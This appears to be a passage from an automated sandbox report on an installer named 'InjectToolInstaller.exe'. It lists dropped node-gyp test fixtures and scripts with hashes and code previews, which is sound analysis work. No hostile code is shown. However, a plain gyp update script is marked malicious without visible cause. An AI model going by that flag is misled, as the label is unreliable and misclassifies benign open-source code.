Preview:	[{"path":"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community","version":"16.1.28922.388","packages":["Microsoft.VisualStudio.Workload.NativeDesktop","Microsoft.VisualStudio.Component.VC.TestAdapterForGoogleTest","Microsoft.VisualStudio.VC.Ide.TestAdapterForGoogleTest","Microsoft.VisualStudio.Component.VC.TestAdapterForBoostTest","Microsoft.VisualStudio.VC.Ide.TestAdapterForBoostTest","Microsoft.VisualStudio.Component.VC.ATL","Microsoft.VisualStudio.VC.Ide.ATL","Microsoft.VisualStudio.VC.Ide.ATL.Resources","Microsoft.VisualCpp.ATL.X86","Microsoft.VisualCpp.ATL.X64","Microsoft.VisualCpp.ATL.Source","Microsoft.VisualCpp.ATL.Headers","Microsoft.VisualStudio.Component.VC.CMake.Project","Microsoft.VisualStudio.VC.CMake","Microsoft.VisualStudio.VC.CMake.Project","Microsoft.VisualStudio.VC.ExternalBuildFramework","Microsoft.VisualStudio.ComponentGroup.NativeDesktop.Core","Microsoft.VisualStudio.PackageGroup.TestTools.Native","Microsoft.VisualStudio.Component.VC.Redist.14.Latest"

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\fixtures\VS_2019_Preview.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17914
Entropy (8bit):	4.776324944484844
Encrypted:	false
SSDEEP:	96:5jlf4PWrkxmXR9sJPDQT1WBWE55EWjw378LDgHfIPI/PAjnng7Mj0/Y0EYWxkKSS:Cp218sPZXg1IPul
MD5:	7B96A17A0E75E10630CE4D27F9D858C5
SHA1:	394EC37E102C0C178458BEE6AD10788018E36930
SHA-256:	DF06BF7EF38347EC36E10BAE30C4F9749C0EE48A414AE7F0F05DC48C089C750C
SHA-512:	F47CDE3C22BB4DCD4777B94287D6204DA53F4108C6045152CFB48556AA23D76103A664B0F83AEC4C0C565A442A7D0986E89361630B0A8924FA037E30D1D37308
Malicious:	false
Preview:	[{"path":"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Preview","version":"16.0.28608.199","packages":["Microsoft.VisualStudio.Product.Enterprise","Microsoft.VisualStudio.Workload.NativeDesktop","Microsoft.VisualStudio.Component.VC.TestAdapterForGoogleTest","Microsoft.VisualStudio.VC.Ide.TestAdapterForGoogleTest","Microsoft.VisualStudio.Component.VC.TestAdapterForBoostTest","Microsoft.VisualStudio.VC.Ide.TestAdapterForBoostTest","Microsoft.VisualStudio.Component.VC.ATL","Microsoft.VisualStudio.VC.Ide.ATL","Microsoft.VisualStudio.VC.Ide.ATL.Resources","Microsoft.VisualCpp.ATL.X86","Microsoft.VisualCpp.ATL.X64","Microsoft.VisualCpp.ATL.Source","Microsoft.VisualCpp.ATL.Headers","Microsoft.VisualStudio.Component.VC.CMake.Project","Microsoft.VisualStudio.VC.CMake","Microsoft.VisualStudio.VC.CMake.Project","Microsoft.VisualStudio.VC.ExternalBuildFramework","Microsoft.VisualStudio.Component.VC.DiagnosticTools","Microsoft.VisualStudio.Component.Graphics.Tools","Microsoft.VisualStudi

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\fixtures\VS_2022_Community_workload.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	34193
Entropy (8bit):	4.686564038544793
Encrypted:	false
SSDEEP:	96:YrrVGfwZKeirSvoTv1Lqu7NByCd7uoMV5hhoMPA2xYXRj2VGrkDrJK7s2gPjSvDG:f2cHY+ZpevvKs+A+RqxVPHWKB0q
MD5:	C95D26A85B43AF4AE8E11219B6075D8C
SHA1:	EE497B5CA547F4286685A4F66F1EE30F71CC7C23
SHA-256:	41D4113C4665644AA7C67EC0CA686B550F8ACE3ACE318718278C0D35DFC4375D
SHA-512:	B2684FF8BEA6CDED361993B6F35E480E8656CAC4B71F91835082458D74F50470A2E87F7F2EE0EE48DCD2A87AA0FA28226309EA29AD665A5AD189F2A7D2657BDE
Malicious:	false
Preview:	[. {. "path": "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community",. "version": "17.4.33213.308",. "packages": [. "Microsoft.VisualStudio.Product.Community",. "Microsoft.VisualStudio.PackageGroup.LiveShare.VSCore",. "Microsoft.VisualStudio.LiveShare.VSCore",. "Microsoft.VisualStudio.Workload.NativeDesktop",. "Microsoft.VisualStudio.Component.VC.ASAN",. "Microsoft.VisualCpp.ASAN.X86",. "Microsoft.VC.14.34.17.4.ASAN.X86.base",. "Microsoft.VC.14.34.17.4.ASAN.X64.base",. "Microsoft.VC.14.34.17.4.ASAN.Headers.base",. "Microsoft.VisualStudio.VC.IDE.Project.Factories",. "Microsoft.VisualStudio.Component.VC.TestAdapterForGoogleTest",. "Microsoft.VisualStudio.VC.Ide.TestAdapterForGoogleTest",. "Microsoft.VisualStudio.Component.VC.TestAdapterForBoostTest",. "Microsoft.VisualStudio.VC.Ide.TestAdapterForBoostTest"

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\process-exec-sync.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3134
Entropy (8bit):	4.734942665734187
Encrypted:	false
SSDEEP:	96:0aXr8kZtMebWt/Lt/JQUZ3eZGGw0CDyaxN8Peof:0aDoBh9aZiDyaeeof
MD5:	A6C7B80748A5E2060CF74E8B3708D286
SHA1:	1C304C5BB308FC6D1E50E92CD26F4461C564DCF6
SHA-256:	8F8C775B63C744CC435C7E35A5F330B36149C5AA7F74800A1463234E27FCEE43
SHA-512:	B9ED770510112B11E4F69E9F6CD0AFF7E09693EB4B1CFC8EE57016FEC1058D7B998BBE2EAA68B7A9A2035EEB83954C09FBD9EA06BDFFDF260B962131DFD9DCBF
Malicious:	false
Preview:	'use strict'..const fs = require('graceful-fs').const childProcess = require('child_process')..function startsWith (str, search, pos) {. if (String.prototype.startsWith) {. return str.startsWith(search, pos). }.. return str.substr(!pos \|\| pos < 0 ? 0 : +pos, search.length) === search.}..function processExecSync (file, args, options) {. var child, error, timeout, tmpdir, command. command = makeCommand(file, args).. /. this function emulates child_process.execSync for legacy node <= 0.10.x. derived from https://github.com/gvarsanyi/sync-exec/blob/master/js/sync-exec.js. /.. options = options \|\| {}. // init timeout. timeout = Date.now() + options.timeout. // init tmpdir. var osTempBase = '/tmp'. var os = determineOS(). osTempBase = '/tmp'.. if (process.env.TMP) {. osTempBase = process.env.TMP. }.. if (osTempBase[osTempBase.length - 1] !== '/') {. osTempBase += '/'. }.. tmpdir = osTempBase + 'processExecSync.' + Date.now() + Math.random(). fs.mkdirSync(

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\reporter.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	2446
Entropy (8bit):	4.696507492641209
Encrypted:	false
SSDEEP:	48:FJQWwy/pYChzbSNUPBi56iVZslcTsha7/z7OT7j6nZT7Pxv7ki:sHCpYEzONIBiY6KlnhKln4i
MD5:	A0BDE63BE640BD1822126EA3C3D65B68
SHA1:	E20A7788978EE81F543078CEA1B472011033D5CC
SHA-256:	7BCEF59D4B7C04B38397D300E9BA040136F452A2509B74FAF60C92DF36302A8E
SHA-512:	4AB8B8CD58545E0254D999BE761BBA6095DC7B8D65E9118DB9EF1F1D8AEE7CD7D89C3E651D923FE1F95CEAF7CB1F2678E9EC5378E8A26E60C1DEB910C392D257
Malicious:	false
Preview:	const Mocha = require('mocha')..class Reporter {. constructor (runner) {. this.failedTests = [].. runner.on(Mocha.Runner.constants.EVENT_RUN_BEGIN, () => {. console.log('Starting tests'). }).. runner.on(Mocha.Runner.constants.EVENT_RUN_END, () => {. console.log('Tests finished'). console.log(). console.log('***************'). console.log(' TESTS REPORT '). console.log('***************'). console.log(). console.log(`Executed ${runner.stats.suites} suites with ${runner.stats.tests} tests in ${runner.stats.duration} ms`). console.log(` Passed: ${runner.stats.passes}`). console.log(` Skipped: ${runner.stats.pending}`). console.log(` Failed: ${runner.stats.failures}`). if (this.failedTests.length > 0) {. console.log(). console.log(' Failed test details'). this.failedTests.forEach((failedTest, index) => {. console.log(). console.log(` ${index + 1}.'${failedTest.test.full

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\simple-proxy.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	641
Entropy (8bit):	4.61697721801361
Encrypted:	false
SSDEEP:	12:oWR5YeBA64sI9VK6wNGAQXI/hJYYz5Xu+lgNhSUY6Eo5E:JR5YeN4RxrAQXI/D99JguUbEo5E
MD5:	5CFC7CB2A58632E7FA0657FF573510AB
SHA1:	2F81AD2AEC95361E53B4E362997B413466C82BC1
SHA-256:	93B06587379D75A1CEEADCACB3AFB6AD5935A2E2D3B7F7905735E39922FCCF50
SHA-512:	A9FA88493C999B76C77BD39888381B51EE5484177AAB19D4886D19EC9D6C2902EF131035AF4F5A59E626CF653EAD664A9820CEDB59A9048DC0F64850E65ABEF9
Malicious:	false
Preview:	'use strict'..const http = require('http').const https = require('https').const server = http.createServer(handler).const port = +process.argv[2].const prefix = process.argv[3].const upstream = process.argv[4].var calls = 0..server.listen(port)..function handler (req, res) {. if (req.url.indexOf(prefix) !== 0) {. throw new Error('request url [' + req.url + '] does not start with [' + prefix + ']'). }.. var upstreamUrl = upstream + req.url.substring(prefix.length). https.get(upstreamUrl, function (ures) {. ures.on('end', function () {. if (++calls === 2) {. server.close(). }. }). ures.pipe(res). }).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-addon.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4841
Entropy (8bit):	4.836397198175807
Encrypted:	false
SSDEEP:	96:yzjCVxkNfRUaBe8OKZUpEnNnLYIcj3ywa0a4GSCKZUpHT7hgBOK3EpY:y/CITBe8f5LcjC4s4t
MD5:	571D1CCB0368B71678AAB0A79E6FD9BD
SHA1:	ECAA340EB887F0AADA62E8A193108A40D7110609
SHA-256:	3C44E4A000E717C8A09368FEB456DBA9FB74D5DB7D9FDE32E011EC73F2B9082B
SHA-512:	482A820428912E10A75F93A718E581E9CB07C252E67311C99E4E92816052F18A635A424551AE27BB5A7B2CAC5E667793A79A81F673F33DBFB7D1A2053005CC90
Malicious:	false
Preview:	'use strict'..const { describe, it } = require('mocha').const assert = require('assert').const path = require('path').const fs = require('graceful-fs').const childProcess = require('child_process').const os = require('os').const addonPath = path.resolve(__dirname, 'node_modules', 'hello_world').const nodeGyp = path.resolve(__dirname, '..', 'bin', 'node-gyp.js').const execFileSync = childProcess.execFileSync \|\| require('./process-exec-sync').const execFile = childProcess.execFile..function runHello (hostProcess) {. if (!hostProcess) {. hostProcess = process.execPath. }. var testCode = "console.log(require('hello_world').hello())". return execFileSync(hostProcess, ['-e', testCode], { cwd: __dirname }).toString().}..function getEncoding () {. var code = 'import locale;print(locale.getdefaultlocale()[1])'. return execFileSync('python', ['-c', code]).toString().trim().}..function checkCharmapValid () {. var data. try {. data = execFileSync('python', ['fixtures/test-charmap.py'

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-configure-python.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2606
Entropy (8bit):	5.09007057913032
Encrypted:	false
SSDEEP:	24:75XSMaD6AUn/HjdvSWkgE03884f7ncAz53sLWzBrfAz5GPgId1U+LWzBulGuq8mq:7N8U/JDkgE0MRfxCbElg+5ImEl3+l
MD5:	1A2B11EA34E0D07DB6BA7D568EB7AF3E
SHA1:	2155A78B5A98A6690E3D68361B473863F3B4B0C3
SHA-256:	3934487903F4C8B4B2E024482A098A5A51CB65FD965A81C22ADB286108A0234B
SHA-512:	603C88EFD9EF14DB1B604AAC8B2F95AF56CEA868CCBC09B50EB3430A9089FE8DC479DA70C86FF152E4634FCC1A6D44922011E484B2CFD558ED50DD3B188311CA
Malicious:	false
Preview:	'use strict'..const { describe, it } = require('mocha').const assert = require('assert').const path = require('path').const devDir = require('./common').devDir().const gyp = require('../lib/node-gyp').const requireInject = require('require-inject').const configure = requireInject('../lib/configure', {. 'graceful-fs': {. openSync: function () { return 0 },. closeSync: function () { },. writeFile: function (file, data, cb) { cb() },. stat: function (file, cb) { cb(null, {}) },. mkdir: function (dir, options, cb) { cb() },. promises: {. writeFile: function (file, data) { return Promise.resolve(null) }. },. unlink: function (path, cb) { cb() },. symlink: function (target, path, cb) { cb() }. }.})..const EXPECTED_PYPATH = path.join(__dirname, '..', 'gyp', 'pylib').const SEPARATOR = process.platform === 'win32' ? ';' : ':'.const SPAWN_RESULT = cb => ({ on: function () { cb() } })..require('npmlog').level = 'warn'..describe('configure-python', function () {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-create-config-gypi.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	4.884240075787734
Encrypted:	false
SSDEEP:	48:fN1syhoTRy5fTHtj3ekKtY32tj3AtzTEuQ8+3izTEuQ8+3IIKhaF:rTt6ftRt0tzzQKzzQvyI
MD5:	963525CA4BAAB7CB0BC32EF9C819EDCF
SHA1:	0FD7668B546A8DCCA0B951BEBF974FE71FEC0539
SHA-256:	BD0A2E3C45F044E39C29681795B560A653BB3A672B22A48310145C58AD39EFF0
SHA-512:	D09EB388AB80E4E7A5D7E693FFED038D8648E91DBCEA7C43053EC320D974781FFCD78A1DED309F4756B4349B1EC42F95F7DD6CD70F88132C72EAB12502FA2F8D
Malicious:	false
Preview:	'use strict'..const path = require('path').const { describe, it } = require('mocha').const assert = require('assert').const gyp = require('../lib/node-gyp').const createConfigGypi = require('../lib/create-config-gypi').const { parseConfigGypi, getCurrentConfigGypi } = createConfigGypi.test..describe('create-config-gypi', function () {. it('config.gypi with no options', async function () {. const prog = gyp(). prog.parseArgv([]).. const config = await getCurrentConfigGypi({ gyp: prog, vsInfo: {} }). assert.strictEqual(config.target_defaults.default_configuration, 'Release'). assert.strictEqual(config.variables.target_arch, process.arch). }).. it('config.gypi with --debug', async function () {. const prog = gyp(). prog.parseArgv(['_', '_', '--debug']).. const config = await getCurrentConfigGypi({ gyp: prog, vsInfo: {} }). assert.strictEqual(config.target_defaults.default_configuration, 'Debug'). }).. it('config.gypi with custom options', async function ()

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-download.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7094
Entropy (8bit):	4.767242044353284
Encrypted:	false
SSDEEP:	192:PV7QG3nGUSaT3r9eaG372e9G37iMm2SD3R2rP:PJRSwpezqesI2uR2rP
MD5:	A52888E6AE13D9132C6432BB286B5747
SHA1:	61DC5E04DEEF6DEE24E13C9DE002E850529981F2
SHA-256:	3D8173C877660064F9A715C4E5273F9CC16BC45CAD2F3CA006CA1063BAABD291
SHA-512:	6C75BCE7D34436E6184A0C2754A0B6AB7456DE8E545E2842DE1583FB3747DBE066DACAE339D8E01E561E9B1F038EC1FBA540DFD86C1485AFE6A39CC5316D5B98
Malicious:	false
Preview:	'use strict'..const { describe, it, after } = require('mocha').const assert = require('assert').const fs = require('fs').const path = require('path').const util = require('util').const http = require('http').const https = require('https').const install = require('../lib/install').const semver = require('semver').const devDir = require('./common').devDir().const rimraf = require('rimraf').const gyp = require('../lib/node-gyp').const log = require('npmlog').const certs = require('./fixtures/certs')..log.level = 'warn'..describe('download', function () {. it('download over http', async function () {. const server = http.createServer((req, res) => {. assert.strictEqual(req.headers['user-agent'], `node-gyp v42 (node ${process.version})`). res.end('ok'). }).. after(() => new Promise((resolve) => server.close(resolve))).. const host = 'localhost'. await new Promise((resolve) => server.listen(0, host, resolve)). const { port } = server.address(). const gyp = {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-find-accessible-sync.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2668
Entropy (8bit):	4.658911477424387
Encrypted:	false
SSDEEP:	48:7NBU/Cpl6Ah/vsfPjMlHNTHAlJ71cEMNBhNJ:I/XEnmPjsHNTH4J71cEMNBhNJ
MD5:	DDF37CC00032C3A4BA24809D79D5B974
SHA1:	4C8136DE90C58207B912103AC380A6A99E95EFEE
SHA-256:	274559F1AD733AFC7595D2C9D7BAB5B21E6B347AB8E9C8AEE6D4A20E35236E8A
SHA-512:	DD199597463FAF1AF763F46D705773DC7E39404E3C259DA73C43CED02392F4562CAD6B89532ABE57061F2FB96F7BFD2BB98C9BEFF4DFE9055C55EFAA4C9F6AE6
Malicious:	false
Preview:	'use strict'..const { describe, it } = require('mocha').const assert = require('assert').const path = require('path').const requireInject = require('require-inject').const configure = requireInject('../lib/configure', {. 'graceful-fs': {. closeSync: function () { return undefined },. openSync: function (path) {. if (readableFiles.some(function (f) { return f === path })) {. return 0. } else {. var error = new Error('ENOENT - not found'). throw error. }. }. }.})..const dir = path.sep + 'testdir'.const readableFile = 'readable_file'.const anotherReadableFile = 'another_readable_file'.const readableFileInDir = 'somedir' + path.sep + readableFile.const readableFiles = [. path.resolve(dir, readableFile),. path.resolve(dir, anotherReadableFile),. path.resolve(dir, readableFileInDir).]..describe('find-accessible-sync', function () {. it('find accessible - empty array', function () {. var candidates = []. var found = configure.test.findA

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-find-node-directory.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4504
Entropy (8bit):	4.693447418671352
Encrypted:	false
SSDEEP:	96:NXj33s90Z3Nbs1Anxn073WsNYZ3BEf+6cYZ3tf24c2kOm23h9VsziM:hjnsOxsh7msGRE26Zde4tm2ps/
MD5:	0560FEAFD986C85B9659BD917B0C1B73
SHA1:	1A55ADB633F940AECE859F51ADCB4EE07FFF0C98
SHA-256:	0BAF543144C8B2228A147059E61B16344001CE171F7376B830C5CE5917785699
SHA-512:	05DC74A0A2A12C16DBF1FFDFB2A7701DA55FDCAAFB647C7CD7525261F573460A3C1D9538AC27D97859808AF146FA182E037EF424006F8DA040FDB1458A533038
Malicious:	false
Preview:	'use strict'..const { describe, it } = require('mocha').const assert = require('assert').const path = require('path').const findNodeDirectory = require('../lib/find-node-directory')..const platforms = ['darwin', 'freebsd', 'linux', 'sunos', 'win32', 'aix', 'os400']..describe('find-node-directory', function () {. // we should find the directory based on the directory. // the script is running in and it should match the layout. // in a build tree where npm is installed in. // .... /deps/npm. it('test find-node-directory - node install', function () {. for (var next = 0; next < platforms.length; next++) {. var processObj = { execPath: '/x/y/bin/node', platform: platforms[next] }. assert.strictEqual(. findNodeDirectory('/x/deps/npm/node_modules/node-gyp/lib', processObj),. path.join('/x')). }. }).. // we should find the directory based on the directory. // the script is running in and it should match the layout. // in an installed tree where npm is in

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-find-python.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6196
Entropy (8bit):	4.677901206065606
Encrypted:	false
SSDEEP:	96:Oc78plVeWCAYqY5gx8auQuiutH3qwiuJwiuDLd7eS1hZ+iuQvjwFI0SFiurmEH3D:dAeWXGS2aluioBiNiT0Z+ilrgMiwlBii
MD5:	78E9087C0B993345D9A13A1F96193E0B
SHA1:	F243736A0F55E0CC007EF6D096A8CC408FB5B1B8
SHA-256:	AEEA95F63F6DEEBF26DC1F2B0E263809DB938E641C79AAFEDFBFD033729AFC98
SHA-512:	0494C2055D33FC952EB99270AF5467739699C63EEB582BEF1560558DC968FEE0CA6B166FCBB0647EB8978ACCB028106C2701D9137FA9733CF7958CFCA67B7159
Malicious:	false
Preview:	'use strict'..delete process.env.PYTHON..const { describe, it } = require('mocha').const assert = require('assert').const findPython = require('../lib/find-python').const execFile = require('child_process').execFile.const PythonFinder = findPython.test.PythonFinder..require('npmlog').level = 'warn'..describe('find-python', function () {. it('find python', function () {. findPython.test.findPython(null, function (err, found) {. assert.strictEqual(err, null). var proc = execFile(found, ['-V'], function (err, stdout, stderr) {. assert.strictEqual(err, null). assert.ok(/Python 3/.test(stdout)). assert.strictEqual(stderr, ''). }). proc.stdout.setEncoding('utf-8'). proc.stderr.setEncoding('utf-8'). }). }).. function poison (object, property) {. function fail () {. console.error(Error(`Property ${property} should not have been accessed.`)). process.abort(). }. var descriptor = {. configurable: false,. enumerab

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-find-visualstudio.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	22847
Entropy (8bit):	4.964514488134081
Encrypted:	false
SSDEEP:	192:sGOpHzaN9maN5QYaNgns09/x/Z67kFYIamVDjHjcW5EZB:sGOp6p7KOVDjHjcW5EZB
MD5:	64207D8B3AB616BAB93297666798BCD5
SHA1:	45273B7AE068C129A4DFFB441979045841CFC632
SHA-256:	5CFDA8445B5D53D0C6E2E93746DED852F87E545E320FC7498643C0D62EFA14AA
SHA-512:	A3BE7A7D8DDC47C4169F54A09AFBA4D5514D4F69DA3A64BF7CAF845FE406F8E05ABABF914440DA5606EFCDA28A7941C0DB5D39BF30317AA3AC1CB4DE7D3E9EE1
Malicious:	false
Preview:	'use strict'..const { describe, it } = require('mocha').const assert = require('assert').const fs = require('fs').const path = require('path').const findVisualStudio = require('../lib/find-visualstudio').const VisualStudioFinder = findVisualStudio.test.VisualStudioFinder..const semverV1 = { major: 1, minor: 0, patch: 0 }..delete process.env.VCINSTALLDIR..function poison (object, property) {. function fail () {. console.error(Error(`Property ${property} should not have been accessed.`)). process.abort(). }. var descriptor = {. configurable: false,. enumerable: false,. get: fail,. set: fail. }. Object.defineProperty(object, property, descriptor).}..function TestVisualStudioFinder () { VisualStudioFinder.apply(this, arguments) }.TestVisualStudioFinder.prototype = Object.create(VisualStudioFinder.prototype).// Silence npmlog - remove for debugging.TestVisualStudioFinder.prototype.log = {. silly: () => {},. verbose: () => {},. info: () => {},. warn: () => {},. er

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-install.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3699
Entropy (8bit):	4.677004271132863
Encrypted:	false
SSDEEP:	96:cO1Zea4Cagvq+SzGeZK4DcsqlICcsrfcsc5xcl:cyZeaVagy+Szh8
MD5:	2B11AE20FB5E17479291419981D87BA9
SHA1:	ECFE4E89989F1056736CEFCB025BCE23FC590E21
SHA-256:	26209E11D4923D16D9F3FE0F82EA824FD3F55EA1FB03EDDD7409C5023AC53144
SHA-512:	31BA0977B7A5C5CDCE923113DC7615F1D5EAC28701916E52B30D25A2AE27396B513D536A6A9894DF4C5CAFAA4E89F84A69EB1F125C65F4FA193358DF0623FED0
Malicious:	false
Preview:	'use strict'..const { describe, it, after } = require('mocha').const assert = require('assert').const path = require('path').const os = require('os').const util = require('util').const { test: { download, install } } = require('../lib/install').const rimraf = require('rimraf').const gyp = require('../lib/node-gyp').const log = require('npmlog').const semver = require('semver').const stream = require('stream').const streamPipeline = util.promisify(stream.pipeline)..log.level = 'error' // we expect a warning..describe('install', function () {. it('EACCES retry once', async () => {. const fs = {. promises: {. stat (_) {. const err = new Error(). err.code = 'EACCES'. assert.ok(true). throw err. }. }. }.. const Gyp = {. devDir: __dirname,. opts: {. ensure: true. },. commands: {. install (argv, cb) {. install(fs, Gyp, argv).then(cb, cb). },. remove (_, cb) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-options.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1289
Entropy (8bit):	4.777730028791134
Encrypted:	false
SSDEEP:	24:75XSMJfdSZuTsDlBkgV2HgDlBPc/fvCPKeDDxEFr1sDvLwRHostQFpcM8z:7NRfdmu4D8+D0f2KFB8vcIUQRK
MD5:	62CF449CE27A44A4BBCE780BB00089B3
SHA1:	4CC308CACAEF532B3E155EF46FB43AEED7AC7E5A
SHA-256:	23FB821FC3E8F32D557054DE7894837B38BFE76A295009A51289DFADD2BEE278
SHA-512:	4D8C89019CF909622ACE0A97F516D863CC95788D0AB4BE22FAD20C7FD6BC8F343124F70AD560A778E61F6B605495AE146316AD3B0CC33200F6FD6CEC2EBBE78F
Malicious:	false
Preview:	'use strict'..const { describe, it } = require('mocha').const assert = require('assert').const gyp = require('../lib/node-gyp')..describe('options', function () {. it('options in environment', () => {. // `npm test` dumps a ton of npm_config_* variables in the environment.. Object.keys(process.env). .filter((key) => /^npm_config_/.test(key)). .forEach((key) => { delete process.env[key] }).. // in some platforms, certain keys are stubborn and cannot be removed. const keys = Object.keys(process.env). .filter((key) => /^npm_config_/.test(key)). .map((key) => key.substring('npm_config_'.length)). .concat('argv', 'x').. // Zero-length keys should get filtered out.. process.env.npm_config_ = '42'. // Other keys should get added.. process.env.npm_config_x = '42'. // Except loglevel.. process.env.npm_config_loglevel = 'debug'.. const g = gyp(). g.parseArgv(['rebuild']) // Also sets opts.argv... assert.deepStrictEqual(Object.keys(

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\test-process-release.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18705
Entropy (8bit):	4.999780475013047
Encrypted:	false
SSDEEP:	192:JSAC6q2cgntaQzANEMpkhyTCb8jpRqLbxWUdKIGm41G7t41G7OdT41G7V03oU2EO:JHxhvxvOTvv
MD5:	3C146761D208B4B4996EF4624E98D25F
SHA1:	8D861EE4D6E4A6B5F34FD7B4F9EC30656E1DC99C
SHA-256:	ABD6A1113AAFC7EB1B84AD5B97EBAA0BECB290A84442FA15766DF80ACBB9A3FC
SHA-512:	9B14724EA83C041A89F5120F44CF485A29A1DFAD52580C2ACB7D9485E469C74C1C3BEB562216C3236E2F20D12F298F70ECAF7C2E1511E8B4A5CBBF9ADF6B9403
Malicious:	false
Preview:	'use strict'..const { describe, it } = require('mocha').const assert = require('assert').const processRelease = require('../lib/process-release')..describe('process-release', function () {. it('test process release - process.version = 0.8.20', function () {. var release = processRelease([], { opts: {} }, 'v0.8.20', null).. assert.strictEqual(release.semver.version, '0.8.20'). delete release.semver.. assert.deepStrictEqual(release, {. version: '0.8.20',. name: 'node',. baseUrl: 'https://nodejs.org/dist/v0.8.20/',. tarballUrl: 'https://nodejs.org/dist/v0.8.20/node-v0.8.20.tar.gz',. shasumsUrl: 'https://nodejs.org/dist/v0.8.20/SHASUMS256.txt',. versionDir: '0.8.20',. ia32: { libUrl: 'https://nodejs.org/dist/v0.8.20/node.lib', libPath: 'node.lib' },. x64: { libUrl: 'https://nodejs.org/dist/v0.8.20/x64/node.lib', libPath: 'x64/node.lib' },. arm64: { libUrl: 'https://nodejs.org/dist/v0.8.20/arm64/node.lib', libPath: 'arm64/node.lib' }

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\update-gyp.py

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2337
Entropy (8bit):	4.8477986696853455
Encrypted:	false
SSDEEP:	48:Iov9A0UpcbZpqNr9GBQEutDmHs9Lf3ninK0AheA7wYaA8:z2cbqNr9tdEHi4uwlJ
MD5:	BCAA795678870DF9CD345993EF211924
SHA1:	92C1F38D3201F79C2086076A100D7F3A62085947
SHA-256:	033CFBACCE37062E0C925BA9285B9DC068CBC6423EF38E734FE9DCC462C4EA1E
SHA-512:	C0067DE24294FD9436C032087E3638FB23A48242E102828DC685512BE8E10FE65C001978B8785C1B33866E1BE381E94DA321D7E7B92C5E7188C07EE79C9B1614
Malicious:	true
Preview:	#!/usr/bin/env python3..import argparse.import os.import shutil.import subprocess.import tarfile.import tempfile.import urllib.request..BASE_URL = "https://github.com/nodejs/gyp-next/archive/".CHECKOUT_PATH = os.path.dirname(os.path.realpath(__file__)).CHECKOUT_GYP_PATH = os.path.join(CHECKOUT_PATH, "gyp")..parser = argparse.ArgumentParser().parser.add_argument("tag", help="gyp tag to update to").args = parser.parse_args()..tar_url = BASE_URL + args.tag + ".tar.gz"..changed_files = subprocess.check_output(["git", "diff", "--name-only"]).strip().if changed_files:. raise Exception("Can't update gyp while you have uncommitted changes in node-gyp")..with tempfile.TemporaryDirectory() as tmp_dir:. tar_file = os.path.join(tmp_dir, "gyp.tar.gz"). unzip_target = os.path.join(tmp_dir, "gyp"). with open(tar_file, "wb") as f:. print("Downloading gyp-next@" + args.tag + " into temporary directory..."). print("From: " + tar_url). with urllib.request.urlopen(tar_url)

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\nopt\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
